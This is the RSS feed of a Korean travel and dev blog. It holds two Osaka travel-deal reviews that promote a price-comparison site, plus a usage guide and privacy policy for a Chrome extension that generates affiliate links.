<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>Dukbong</title>
    <link>https://jangto.tistory.com/</link>
    <description>Dev</description>
    <language>ko</language>
    <pubDate>Thu, 9 Jul 2026 05:52:26 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>dukbong_dev</managingEditor>
    <image>
      <title>Dukbong</title>
      <url>https://tistory1.daumcdn.net/tistory/4686974/attach/fefef798caa64ce1b786232543e3cb52</url>
      <link>https://jangto.tistory.com</link>
    </image>
    <item>
      <title>오사카 주유패스 디지털 패스 직접 써본 후기 (최저가 찾는 꿀팁까지)</title>
      <link>https://jangto.tistory.com/entry/%EC%98%A4%EC%82%AC%EC%B9%B4-%EC%A3%BC%EC%9C%A0%ED%8C%A8%EC%8A%A4-%EB%94%94%EC%A7%80%ED%84%B8-%ED%8C%A8%EC%8A%A4-%EC%A7%81%EC%A0%91-%EC%8D%A8%EB%B3%B8-%ED%9B%84%EA%B8%B0-%EC%B5%9C%EC%A0%80%EA%B0%80-%EC%B0%BE%EB%8A%94-%EA%BF%80%ED%8C%81%EA%B9%8C%EC%A7%80</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;724&quot; data-origin-height=&quot;483&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GT3XA/dJMcabjCnBv/ePOlHVxmyyZHdKoQhPXJaK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GT3XA/dJMcabjCnBv/ePOlHVxmyyZHdKoQhPXJaK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GT3XA/dJMcabjCnBv/ePOlHVxmyyZHdKoQhPXJaK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGT3XA%2FdJMcabjCnBv%2FePOlHVxmyyZHdKoQhPXJaK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;724&quot; height=&quot;483&quot; data-origin-width=&quot;724&quot; data-origin-height=&quot;483&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오사카 여행 준비하면서 제일 오래 고민했던 게 주유패스였어요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;본전 뽑나?&quot;, &quot;지하철 따로 사는 게 나은가?&quot; 이런 생각하면서 며칠 뒤졌는데, 결론부터 말하면&amp;nbsp;사길&amp;nbsp;잘했습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관광지&amp;nbsp;2-3곳만&amp;nbsp;가도&amp;nbsp;본전&amp;nbsp;뽑히고,&amp;nbsp;지하철까지&amp;nbsp;신경&amp;nbsp;안&amp;nbsp;써도&amp;nbsp;되니까&amp;nbsp;여행&amp;nbsp;자체가&amp;nbsp;편해졌어요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 글에서 제가 실제 써본 느낌이랑 같은 상품을 어디서 제일 싸게 샀는지까지 정리해 볼게요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요즘에 다 실물 수령 없이 QR로 하더라고요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 구매하고&amp;nbsp;바로&amp;nbsp;앱에서&amp;nbsp;바우처&amp;nbsp;뜸&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 우메다&amp;nbsp;지하철역&amp;nbsp;8번&amp;nbsp;출구&amp;nbsp;교환소에&amp;nbsp;안&amp;nbsp;가도&amp;nbsp;됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 지갑에 종이 티켓 챙길 필요 없고 분실 걱정 X&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;최저가 찾는 꿀팁&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하나하나 사이트 찾아보지 말고 아래 링크에서 바로 클룩, 와그, 마이리얼트립, KKday를 한 번에 비교할 수 있어요.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;최고가 32,643원&lt;/li&gt;
&lt;li&gt;최저가 31,000원&lt;/li&gt;
&lt;/ul&gt;
&lt;figure id=&quot;og_1776419111265&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;PickTrip - 여행 상품 가격 비교&quot; data-og-description=&quot;여행 상품의 가격을 실시간으로 비교&quot; data-og-host=&quot;picktrip.vercel.app&quot; data-og-source-url=&quot;https://picktrip.vercel.app/&quot; data-og-url=&quot;https://picktrip.vercel.app&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/b4Bkik/dJMb82eOJN2/jkGqjJKs02EXMQ2KDKoyn1/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/ejAP0x/dJMb9frHaVh/JHX8O1Q21ZKCUhpXFBP1yk/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630&quot;&gt;&lt;a href=&quot;https://picktrip.vercel.app/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://picktrip.vercel.app/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/b4Bkik/dJMb82eOJN2/jkGqjJKs02EXMQ2KDKoyn1/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/ejAP0x/dJMb9frHaVh/JHX8O1Q21ZKCUhpXFBP1yk/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;PickTrip - 여행 상품 가격 비교&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;여행 상품의 가격을 실시간으로 비교&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;picktrip.vercel.app&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;주유패스로 다녀온 곳&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 오사카성 천수각&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;일반 대기줄이 엄청 길었는데 주유패스 전용 줄이 따로 있어서 쑤욱 들어갔어요.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 우메다 스카이빌딩 공중정원&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;일몰 시간 맞춰서 가면 이뻐요.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 햅 파이브(HEP FIVE) 관람차&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;우메다에서 가까워서 바로 이어서 탔는데 야경이 죽입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 도톤보리 리버크루즈&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이건 오사카 처음 와보면 항상 해봐야 하는 코스입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지하철은 하루 종일 무제한으로 탔는데 횟수 세어보니 6번 탔는데 이거만 해도 이미 패스값 뽕 뽑았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히 일본 지하철 헷갈리는 사람은 묻지도 따지지도 말고 사시는 걸 개추!&lt;/p&gt;</description>
      <category>여행 꿀팁</category>
      <category>오사카여행</category>
      <category>오사카주유패스</category>
      <category>일본여행꿀팁</category>
      <category>주유패스최저가</category>
      <category>주유패스후기</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/321</guid>
      <comments>https://jangto.tistory.com/entry/%EC%98%A4%EC%82%AC%EC%B9%B4-%EC%A3%BC%EC%9C%A0%ED%8C%A8%EC%8A%A4-%EB%94%94%EC%A7%80%ED%84%B8-%ED%8C%A8%EC%8A%A4-%EC%A7%81%EC%A0%91-%EC%8D%A8%EB%B3%B8-%ED%9B%84%EA%B8%B0-%EC%B5%9C%EC%A0%80%EA%B0%80-%EC%B0%BE%EB%8A%94-%EA%BF%80%ED%8C%81%EA%B9%8C%EC%A7%80#entry321comment</comments>
      <pubDate>Fri, 17 Apr 2026 18:57:52 +0900</pubDate>
    </item>
    <item>
      <title>아베노 하루카스 300 전망대 입장권 최저가 찾는 꿀팁</title>
      <link>https://jangto.tistory.com/entry/%EC%95%84%EB%B2%A0%EB%85%B8-%ED%95%98%EB%A3%A8%EC%B9%B4%EC%8A%A4-300-%EC%A0%84%EB%A7%9D%EB%8C%80-%EC%9E%85%EC%9E%A5%EA%B6%8C-%EC%B5%9C%EC%A0%80%EA%B0%80-%EC%B0%BE%EB%8A%94-%EA%BF%80%ED%8C%81</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;아베노 하루카스 300 전망대 입장권을 구매하다가 알게 된 최저가 찾는 꿀팁을 공유드립니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오사카 여행 준비하면서 최대한 경비를 아껴보려고 여기 저기 발품 팔다가 알게 된 건데 일단 전망대 입장권은 5100원 더 싸게 샀습니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것저것 다 합치면 그래도 대충 10만 원 가까이 아낄 수 있었습니다!&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;아베노 하루카스 300 전망대&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;16737710719584.jpg&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;380&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YJvZL/dJMcaiiHtgd/sEFOTkxSQ1E8jB4m4yxIbk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YJvZL/dJMcaiiHtgd/sEFOTkxSQ1E8jB4m4yxIbk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YJvZL/dJMcaiiHtgd/sEFOTkxSQ1E8jB4m4yxIbk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYJvZL%2FdJMcaiiHtgd%2FsEFOTkxSQ1E8jB4m4yxIbk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;640&quot; height=&quot;380&quot; data-filename=&quot;16737710719584.jpg&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;380&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;개추!&lt;/b&gt; 오사카 야경으로 사진도 진짜 이쁘게 나오고 유명해요!!&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;위치 : 오사카시 아베노구 (텐노지역 바로 앞)&lt;/li&gt;
&lt;li&gt;높이 : 일본에서 2번째로 높은 빌딩&lt;/li&gt;
&lt;li&gt;운영 시간 : 09:00 ~ 22:00&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가격 비교 사이트에서 확인해본 결과 최고가는 17,000원, 최저가는 11,900원이었습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;최저가 찾는 꿀팁&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 제가 이 사이트에서 확인했을 때는 3개 플랫폼만 비교해 줬는데 지금은 4개를 비교해주고 있네요.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;마이리얼트립, 와그, 클룩, kkday&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주저리주저리 그만 떠들고 최저가 찾는 꿀팁 사이트는 아래 링크입니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://picktrip.vercel.app/&quot;&gt;https://picktrip.vercel.app/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1776410831828&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;PickTrip - 여행 상품 가격 비교&quot; data-og-description=&quot;여행 상품의 가격을 실시간으로 비교&quot; data-og-host=&quot;picktrip.vercel.app&quot; data-og-source-url=&quot;https://picktrip.vercel.app/&quot; data-og-url=&quot;https://picktrip.vercel.app&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/b4Bkik/dJMb82eOJN2/jkGqjJKs02EXMQ2KDKoyn1/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/ejAP0x/dJMb9frHaVh/JHX8O1Q21ZKCUhpXFBP1yk/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630&quot;&gt;&lt;a href=&quot;https://picktrip.vercel.app/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://picktrip.vercel.app/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/b4Bkik/dJMb82eOJN2/jkGqjJKs02EXMQ2KDKoyn1/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/ejAP0x/dJMb9frHaVh/JHX8O1Q21ZKCUhpXFBP1yk/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;PickTrip - 여행 상품 가격 비교&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;여행 상품의 가격을 실시간으로 비교&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;picktrip.vercel.app&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 사고 싶은 게 있으시면 그걸 이 사이트에서 검색해보면 한눈에 비교할 수 있어서 너무 편해요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 더 이상 여기저기 사이트 번갈아가면서 비교할 필요가 없어서 너무 좋아요.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;주의 사항&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주의할 점은 사이트마다 진짜 판매하는 가격이랑 보이는 가격이 다른 경우가 있어서 꼭 확인이 필요해요!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 4,648원에 판다고 나와서 와! 대박하고 들어갔더니 옵션에 17,000원이라고 적혀서 시무룩했습니다..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가격이 다른 거에 비해 심하게 차이가 난다면 꼭 구매 전 체크를 해보셔야 해요.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사고&lt;span&gt; &lt;/span&gt;싶은&lt;span&gt; &lt;/span&gt;상품을&lt;span&gt; 한번씩 &lt;/span&gt;검색하고&lt;span&gt; &lt;/span&gt;원하는&lt;span&gt; &lt;/span&gt;상품을&lt;span&gt; &lt;/span&gt;사시면&lt;span&gt; &lt;/span&gt;쥐똥만큼이라도&lt;span&gt; &lt;/span&gt;경비를&lt;span&gt; &lt;/span&gt;아낄&lt;span&gt; &lt;/span&gt;수&lt;span&gt; &lt;/span&gt;있습니다&lt;span&gt;!&lt;/span&gt;&lt;/p&gt;</description>
      <category>여행 꿀팁</category>
      <category>아베노하루카스300</category>
      <category>야경</category>
      <category>오사카</category>
      <category>인생샷</category>
      <category>최저가</category>
      <category>해외여행</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/320</guid>
      <comments>https://jangto.tistory.com/entry/%EC%95%84%EB%B2%A0%EB%85%B8-%ED%95%98%EB%A3%A8%EC%B9%B4%EC%8A%A4-300-%EC%A0%84%EB%A7%9D%EB%8C%80-%EC%9E%85%EC%9E%A5%EA%B6%8C-%EC%B5%9C%EC%A0%80%EA%B0%80-%EC%B0%BE%EB%8A%94-%EA%BF%80%ED%8C%81#entry320comment</comments>
      <pubDate>Fri, 17 Apr 2026 16:29:34 +0900</pubDate>
    </item>
    <item>
      <title>[제휴링크 톡] 가이드 문서</title>
      <link>https://jangto.tistory.com/entry/%EC%A0%9C%ED%9C%B4%EB%A7%81%ED%81%AC-%ED%86%A1-%EA%B0%80%EC%9D%B4%EB%93%9C-%EB%AC%B8%EC%84%9C</link>
      <description>&lt;h1&gt;제휴링크 톡&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다양한 플랫폼의 제휴 링크를 한 번에 생성해주는 크롬 확장 프로그램입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;추가를 원하시는 플랫폼이 있으시면 댓글 혹은 메일에 남겨주세요.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;설치 방법&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://chromewebstore.google.com/?utm_source=ext_app_menu&quot;&gt;Chrome 웹 스토어&lt;/a&gt;에서 &lt;b&gt;&quot;제휴링크 톡&quot;&lt;/b&gt;을 검색합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&quot;Chrome에 추가&quot;&lt;/b&gt; 버튼을 클릭합니다.&lt;/li&gt;
&lt;li&gt;설치 완료! 브라우저 우측 상단에 아이콘이 나타납니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;사용 방법&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;제휴 링크를 만들고 싶은 상품 페이지에 접속합니다.&lt;/li&gt;
&lt;li&gt;브라우저 우측 상단의 &lt;b&gt;제휴링크 톡&lt;/b&gt; 아이콘을 클릭합니다.&lt;/li&gt;
&lt;li&gt;URL이 자동으로 입력되어 있습니다. &lt;b&gt;&quot;링크 생성&quot;&lt;/b&gt; 버튼을 클릭하세요.&lt;/li&gt;
&lt;li&gt;생성된 제휴 링크가 자동으로 클립보드에 복사됩니다!&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;특정 플랫폼의 경우 우측 하단에 &lt;b&gt;링크 생성&lt;/b&gt; 버튼을 클릭하여 쉽게 링크를 생성 및 복사할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;플랫폼별 안내&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;마이리얼트립&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://partner.myrealtrip.com&quot;&gt;마이리얼트립 파트너&lt;/a&gt; 사이트에 로그인된 상태여야 합니다.&lt;/li&gt;
&lt;li&gt;마이리얼트립 상품 페이지 URL을 입력하면 자동으로 제휴 링크가 생성됩니다.&lt;/li&gt;
&lt;li&gt;우측 하단에 링크 생성 버튼이 나타납니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;와그 (WAUG)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.waug.com&quot;&gt;와그&lt;/a&gt; 사이트에서 파트너 신청 후 로그인된 상태여야 합니다.&lt;/li&gt;
&lt;li&gt;와그 상품 페이지 URL을 입력하면 자동으로 제휴 링크가 생성됩니다.&lt;/li&gt;
&lt;li&gt;우측 하단에 링크 생성 버튼이 나타납니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;클룩 (Klook)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://affiliate.klook.com&quot;&gt;클룩 어필리에이트&lt;/a&gt; 사이트에 로그인된 상태여야 합니다.&lt;/li&gt;
&lt;li&gt;등록된 웹사이트가 여러 개인 경우, 드롭다운에서 원하는 웹사이트를 선택합니다.&lt;/li&gt;
&lt;li&gt;클룩 상품 페이지 URL을 입력하면 자동으로 제휴 링크가 생성됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;트립닷컴 (Trip.com)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://kr.trip.com/partners/index&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;트립닷컴&amp;nbsp;파트너스&lt;/a&gt;&amp;nbsp;사이트에&amp;nbsp;로그인된&amp;nbsp;상태여야&amp;nbsp;합니다.&lt;/li&gt;
&lt;li&gt;등록된&amp;nbsp;사이트가&amp;nbsp;여러&amp;nbsp;개인&amp;nbsp;경우,&amp;nbsp;드롭다운에서&amp;nbsp;원하는&amp;nbsp;사이트를&amp;nbsp;선택합니다.&lt;/li&gt;
&lt;li&gt;트립닷컴&amp;nbsp;상품&amp;nbsp;페이지&amp;nbsp;URL을&amp;nbsp;입력하면&amp;nbsp;자동으로&amp;nbsp;제휴&amp;nbsp;링크가&amp;nbsp;생성됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;쿠팡 (Coupang)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://partners.coupang.com&quot;&gt;쿠팡 파트너스&lt;/a&gt; 사이트에 로그인된 상태여야 합니다.&lt;/li&gt;
&lt;li&gt;쿠팡 상품 페이지에서는 페이지 내 버튼으로도 바로 생성할 수 있습니다.&lt;/li&gt;
&lt;li&gt;우측 하단에 링크 생성 버튼이 나타납니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;팁&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;각 플랫폼의 파트너/어필리에이트 사이트에 &lt;b&gt;미리 로그인&lt;/b&gt;해두면 더 편리합니다.&lt;/li&gt;
&lt;li&gt;생성된 링크는 자동으로 클립보드에 복사되므로, 바로 블로그나 SNS에 붙여넣기 하시면 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;FAQ&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Q. 링크 생성이 안 돼요.&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;A.&lt;/b&gt; 해당 플랫폼의 파트너/어필리에이트 사이트에 로그인되어 있는지 확인해주세요.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Q. &quot;로그인이 필요합니다&quot;라고 나와요.&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;A.&lt;/b&gt; 해당 플랫폼에 로그인 세션이 만료된 상태입니다. 위 링크로 접속하여 다시 로그인해주세요.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Q. 지원하지 않는 URL이라고 나와요.&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;A.&lt;/b&gt; 현재 지원하는 플랫폼은 마이리얼트립, 와그, 클룩, 쿠팡, 트립닷컴이며, 각 플랫폼의 &lt;b&gt;상품 페이지&lt;/b&gt; URL만 지원합니다.&lt;br /&gt;&lt;b&gt;B.&lt;/b&gt; 메인 페이지나 검색 결과 페이지에서는 동작하지 않을 수 있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Q. 새로운 플랫폼도 추가되나요?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;A.&lt;/b&gt; 네! 지속적으로 새로운 플랫폼을 추가할 예정이며 추가를 원하시는 플랫폼이 있다면 &lt;a href=&quot;mailto:gorae930301@gmail.com&quot;&gt;gorae930301@gmail.com&lt;/a&gt;로 문의 부탁드립니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Q. 무료인가요?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;A.&lt;/b&gt; 네, 제휴링크 톡은 완전 무료입니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;개인정보처리방침&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;시행일: 2026년 4월 14일&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 수집하는 개인정보&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제휴링크 톡은 사용자의 개인정보를 수집하지 않습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 쿠키 접근&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제휴링크 톡은 제휴 링크 생성을 위해 아래 플랫폼의 로그인 쿠키에 접근합니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;마이리얼트립 (myrealtrip.com)&lt;/li&gt;
&lt;li&gt;와그 (waug.com)&lt;/li&gt;
&lt;li&gt;클룩 (klook.com)&lt;/li&gt;
&lt;li&gt;쿠팡 (coupang.com)&lt;/li&gt;
&lt;li&gt;트립닷컴 (trip.com)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 쿠키 정보는 &lt;b&gt;제휴 링크 생성 목적으로만&lt;/b&gt; 사용되며 외부 서버로 전송되거나 저장되지 않습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 데이터 저장&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제휴링크 톡은 사용자의 데이터를 별도의 서버에 저장하지 않으며 모든 동작은 사용자의 브라우저 내에서만 이루어집니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 제3자 제공&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제휴링크 톡은 사용자의 어떠한 정보도 제3자에게 제공하지 않습니다.&lt;/p&gt;
